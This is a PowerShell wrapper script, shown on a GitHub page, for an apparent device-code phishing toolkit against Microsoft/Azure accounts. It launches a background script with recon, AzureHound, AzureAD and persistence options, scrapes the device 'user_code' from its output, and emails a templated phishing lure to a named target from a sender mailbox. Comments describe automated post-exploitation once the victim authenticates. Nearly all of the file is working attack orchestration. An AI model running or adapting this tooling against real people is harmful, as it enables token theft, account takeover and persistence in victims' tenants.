-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathWrapper.ps1
227 lines (198 loc) · 13.1 KB
/
Wrapper.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
[CmdletBinding()]
param (
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$targetUser,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$firstUser,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$messageContent,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$subject,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$Token,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$template,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$ReplyUrl,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$AppName,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[string]$Scope,
[Parameter()]
[switch]$install,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$azureHound = $false,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$recon = $false,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$azureAd = $false,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$persistence = $false,
[Parameter(ValueFromPipelineByPropertyName=$true)]
[switch]$GraphRecon = $false
)
$banner = @"
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
---------------------------+####+=-----------------------------------------------------------------------------------
-------------------------+%%%%%%%%#=---------------------------------------------------------------------------------
------------------------+%%%+--=#%%#---------------------------------------------------------------------------------
------------------------*%%#----+%%#=--------------------------------------------------------------------------------
------------------------=#%%#+=*%%%*---------------------------------------------------------------------------------
-------------------------=#%%%%%%#+----------------------------------------------------------------------------------
----------------------------#%%#=------------------------------------------------------------------------------------
----------------------------#%%#-------------------------------------------------------------------------------------
----------------------------#%%#-------------------------------------------------------------------------------------
----------------------------#%%#-------------------------------------------------------------------------------------
----------------------------#%%#-------------------------------------------------------------------------------------
----------------------------*%%#-------------------------------------------------------------------------------------
----------------------------+%%#-------------------------------------------------------------------------------------
----------------------------+%%%=-----------------------#------------------------------------------------------------
----------------------------=%%%+----------------------+%------------------------------------------------------------
-----------------------------%%%*---------------------=#%------------------------------------------------------------
-----------------------------#%%#---------------------#%%------------------------------------------------------------
-----------------------------=%%#=------------------=#%%#------------------------------------------------------------
------------------------------%%%*-----------------=#%%%*------------------------------------------------------------
------------------------------+%%#=----+##+-------=*+#%%+------------------------------------------------------------
-------------------------------#%%#--=#%%%%%%#=-----+%%%-------------------------------------------------------------
-------------------------------=%%%*=*%%%%%%%%%%#=-=*%%+-------------------------------------------------------------
--------------------------------+%%%*-+%%%%%%%%%%%%#+----------------------------------------------------------------
---------------------------------+%%%#=-+*#%%%%%%%%%%%%*-------------------------------------------------------------
----------------------------------=%%%%%*=---%%%%%%%%%%%%%#=---------------------------------------------------------
--------------------------------=%+-+%%%%%*--+%%%%%%%%%%%%%%%+-------------------------------------------------------
-------------------------------+%%%#+-=#%#---*%%%%%%%%%%%%%%%#-------------------------------------------------------
------------------------------+%%%%%%%#=----#%%%%%%%%%%%%%%%#--------------------------------------------------------
-----------------------------*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%-+=------------------------------------------------------
----------------------------#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%=-*%#+---------------------------------------------------
---------------------------#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*--+#%+------#%%#=----------------------------------
--------------------------#%%%%%%%%%%%%%%%%%%%%%%#%%%%%%%%%%%%%%%#=-+#%#+#%%%%%%%#=----------------------------------
-------------------------#%%%%%%%%%%%%%%%%%%%%%%%+##%%%%%%%%%%%%%%%#=-=#%%%%%%%%%%%#+--------------------------------
------------------------#%%%%%%%%%%%%%%%%%%%%+%%%%%%%%%+%%%%%%%%%%%%%%%%%+--*%%%%%%%%%%%%*---------------------------
----------------------=#%%%%%%%%%%%%%%%%%%%%%#=-+%%%%%%%%%-=%%%%%%%%%%%%%%%%*--+%%%%%%%%%%%%#=-----------------------
---------------------=#%%%%%%%%%%%%%%%%%%%%%%%%%#+++=#%*-*#%%%%%%% %%%% %%%%%#=-+#%%%%%%%%%%%#=---------------------
--------------------=#%%%%%%%%%%%%%#=-=#%%%%%%%%%%*-----------------------%%%%%#=-+#%%%%%%%%%%%#=--------------------
-------------------=#%%%%%%%%%%%%%%%%%#+--*%%%%%%%*---------------------%%%%%#=-+#%%%%%%%%%%%%%%%%#=-----------------
-------------------#%%%%%%%%%%%%%%%%%%%------------------------------------=------+#%%%%%%%%%%%%%%%%#----------------
------------------%%%%%%%%%%%%%%%% _ - | |__ (_)_ __ ___| |_ _ _ | | (_)___| |__ %%%%%#=-+#%%%%%#--------------
-----------------#%%%%%%%%%%%%%%%% | '_ \| '_ \| | '__/ __| __| '_ \| '_ \| / __| '_ \ %%%%%#=-+#%%%%#--------------
----------------%%%%%%%%%%%%%%%%%% | |_) | | | | | | \__ \ |_| |_) | | | | \__ \ | | | %%%%%#=-+#%%%#---------------
-----------------#%%%%%%%%%%%%%%%% | .__/|_| |_|_|_| |___/\__| .__/|_| |_|_|___/_| |_| %%%%%#=-+#%%#----------------
-------------------%%%%%%%%%%%%%%% |_|------------------------|_|----------------------%%%%%%*=-+%%#-----------------
---------------------=#%%%%%%%%%%%%%%%%%%%%%%#=-=----------------------------%%%%%#=-+#%%%%%%%%%%%#=-----------------
------------------------=#%%%%%%%%%%%%%%%%%%%%%%#=-----------------------%%%%%#=-+#%%%%%%%%%%%%%#=-------------------
---------------------------=*%%%%%%%%%%%%%%%%%%%%#=--+-*%%=--+%%%%%%#==-===%#-+%%%%%%%%%%%%%%%%#=--------------------
-------------------------------+%%%%%%%%%%%%%%%%%%%%%*-#%=-%%##+#%%%%%%%#-+*-+%%%%%%%%%%%%%%%%%+---------------------
----------------------------------=#%%%%%%%%%%%%%%%%%%%%==##+=+=#%%%%%%%%%%+-=#%%%%%%%%%%%%%%%+----------------------
-------------------------------------=#%%%%%%%%%%%%%%%%%%%#+*=-=#%%%%%%%%%%%%##%%%%%%%%%%%%%#+-----------------------
----------------------------------------=*%%%%%%%%%%%%%%%%%%%%*=%%%%%%%%%%%%%%%%%%%%%%%%%%%#=------------------------
-------------------------------------------=+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#=-------------------------
-----------------------------------------------+#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%=--------------------------
--------------------------------------------------=#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%=---------------------------
-----------------------------------------------------=*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#-----------------------------
--------------------------------------------------------=+%%%%%%%%%%%%%%%%%%%%%%%%%%%%#------------------------------
------------------------------------------------------------+#%%%%%%%%%%%%%%%%%%%%%%%#-------------------------------
---------------------------------------------------------------+#%%%%%%%%%%%%%%%%%%%#--------------------------------
------------------------------------------------------------------=*%%%%%%%%%%%%%%%*---------------------------------
---------------------------------------------------------------------=+%%%%%%%%%%%*----------------------------------
------------------------------------------------------------------------=+#%%%%%%+-----------------------------------
----------------------------------------------------------------------------=*#*=------------------------------------
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%###%%############%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%############%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%##############################%%%
%%%%#####################%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%############################%%%%
%%%%%%%%%%%%%%%%%%###############%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
"@
Write-Host $banner
# Clean up previous runs tokens and output files
.\Clean.ps1
# Install and Import
if($install){
Write-Output "Installing modules"
.\Scripts\Install.ps1
}
Write-Output "Importing modules"
.\Scripts\Import.ps1
# Initialize an empty argument list
$argumentList = @()
# Add flags to the argument list based on conditionals
if ($azureHound) {
$argumentList += "-azurehound"
}
if ($recon) {
$argumentList += "-recon"
}
if ($azureAd) {
$argumentList += "-azuread"
}
if ($persistence) {
$argumentList += "-persistence"
}
if ($GraphRecon) {
$argumentList += "-GraphRecon"
}
if ($AppName) {
$argumentList += "-AppName `"$AppName`""
}
if ($ReplyUrl) {
$argumentList += "-ReplyUrl `"$ReplyUrl`""
}
if ($Scope) {
$argumentList += "-Scope `"$Scope`""
}
# Correct the parameter passing for string parameters
if ($targetUser) {
$argumentList += "-targetUser `"$targetUser`""
}
if ($subject) {
$argumentList += "-subject `"$subject`""
}
if ($messageContent) {
$argumentList += "-messageContent `"$messageContent`""
}
# Start the PowerShell script with the constructed argument list
#Start-Process -FilePath "powershell.exe" -ArgumentList "-File .\Phirst.ps1 $($argumentList -join ' ')" -RedirectStandardOutput "output.txt"
Start-Process -FilePath "powershell.exe" -ArgumentList "-File .\Phirst.ps1 $($argumentList -join ' ')" -RedirectStandardOutput "output.txt"
Start-Sleep -Seconds 1
# Continuously check the output file for the user code
$userCode = $null
while ($null -eq $userCode -and -not $process.HasExited) {
$output = Get-Content "output.txt" -Tail 10 # Read the last 10 lines of the output
foreach ($line in $output) {
if ($line -match "user_code\s*:\s*(\S+)") {
$userCode = $matches[1]
break
}
}
Start-Sleep -Seconds 2
}
Write-Output "$userCode" | Out-File .\user_code.txt
# Output the user code
Write-Host "User Code: $userCode"
# Replace Values in Template
Write-Output "Sign in with your sender's account here. Template will be sent from this mailbox."
.\Next.ps1 -firstUser $firstUser -userCode $userCode -template $template
# TODO: User needs the feedback that target entered the code, recon ran, etc. As of now we're just finishing while the background continue.
# Write-Output "Background process is polling endpoint for the authentication. If the user authenticates, automated post-exploitation will be performed inside that process."
# # Write-Output "Script will continue when process exits."
# $filePath = '.\target.txt'
# # Poll for the existence of the file
# while (-not (Test-Path -Path $filePath)) {
# Write-Output "Checking for target file."
# Start-Sleep -Seconds 2 # Wait for 5 seconds before checking again
# }
# Read-Host "Clean up and clear output?"
# # $processes = Get-Process powershell | Sort-Object StartTime -Descending | Select-Object -First 1 | ForEach-Object { $_.Kill() }
# if(test-path .\output.txt) { Remove-Item -force .\output.txt }
# if(test-path .\user_code.txt) { Remove-Item -force .\user_code.txt }
# if(test-path .\TokenLog.log) { Remove-Item -force .\TokenLog.log }
# if(test-path *.json) { Remove-Item -force *.json }
# $targetUser = ""
# $firstUser = ""
# $messageContent = "test"
# $subject = "Hey there"
# $template = "chatgpt"
# .\wrapper.ps1 -targetUser $targetUser -firstUser $firstUser -messageContent $messageContent -subject $subject -template $template